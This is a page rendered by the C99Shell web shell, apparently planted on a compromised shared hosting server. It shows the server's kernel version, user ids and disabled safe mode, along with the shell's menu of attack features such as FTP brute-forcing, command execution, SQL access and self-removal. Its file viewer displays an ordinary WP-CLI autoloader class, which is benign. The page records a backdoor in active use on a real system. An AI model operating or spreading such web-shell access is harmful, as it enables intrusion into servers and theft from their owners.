!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/php/WP_CLI/Bootstrap/   drwxr-xr-x
Free 682.71 GB of 879.6 GB (77.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AutoloaderStep.php (2.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI\Bootstrap;

use Exception;
use WP_CLI;

/**
 * Abstract class AutoloaderStep.
 *
 * Abstract base class for steps that include an autoloader.
 *
 * @package WP_CLI\Bootstrap
 */
abstract class AutoloaderStep implements BootstrapStep {

    /**
     * Store state for subclasses to have access.
     *
     * @var BootstrapState
     */
    protected $state;

    /**
     * Process this single bootstrapping step.
     *
     * @param BootstrapState $state Contextual state to pass into the step.
     *
     * @return BootstrapState Modified state to pass to the next step.
     */
    public function process( BootstrapState $state ) {
        $this->state = $state;

        $found_autoloader = false;
        $autoloader_paths = $this->get_autoloader_paths();

        if ( false === $autoloader_paths ) {
            // Skip this autoload step.
            return $state;
        }

        foreach ( $autoloader_paths as $autoloader_path ) {
            if ( is_readable( $autoloader_path ) ) {
                try {
                    WP_CLI::debug(
                        sprintf(
                            'Loading detected autoloader: %s',
                            $autoloader_path
                        ),
                        'bootstrap'
                    );
                    require $autoloader_path;
                    $found_autoloader = true;
                } catch ( Exception $exception ) {
                    WP_CLI::warning(
                        "Failed to load autoloader '{$autoloader_path}'. Reason: "
                        . $exception->getMessage()
                    );
                }
            }
        }

        if ( ! $found_autoloader ) {
            $this->handle_failure();
        }

        return $this->state;
    }

    /**
     * Get the name of the custom vendor folder as set in `composer.json`.
     *
     * @return string|false Name of the custom vendor folder or false if none.
     */
    protected function get_custom_vendor_folder() {
        $maybe_composer_json = WP_CLI_ROOT . '/../../../composer.json';
        if ( ! is_readable( $maybe_composer_json ) ) {
            return false;
        }

        $composer = json_decode( file_get_contents( $maybe_composer_json ) );

        if ( ! empty( $composer->config )
            && ! empty( $composer->config->{'vendor-dir'} )
        ) {
            return $composer->config->{'vendor-dir'};
        }

        return false;
    }

    /**
     * Handle the failure to find an autoloader.
     *
     * @return void
     */
    protected function handle_failure() { }

    /**
     * Get the autoloader paths to scan for an autoloader.
     *
     * @return string[]|false Array of strings with autoloader paths, or false
     *                        to skip.
     */
    abstract protected function get_autoloader_paths();
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0117 ]--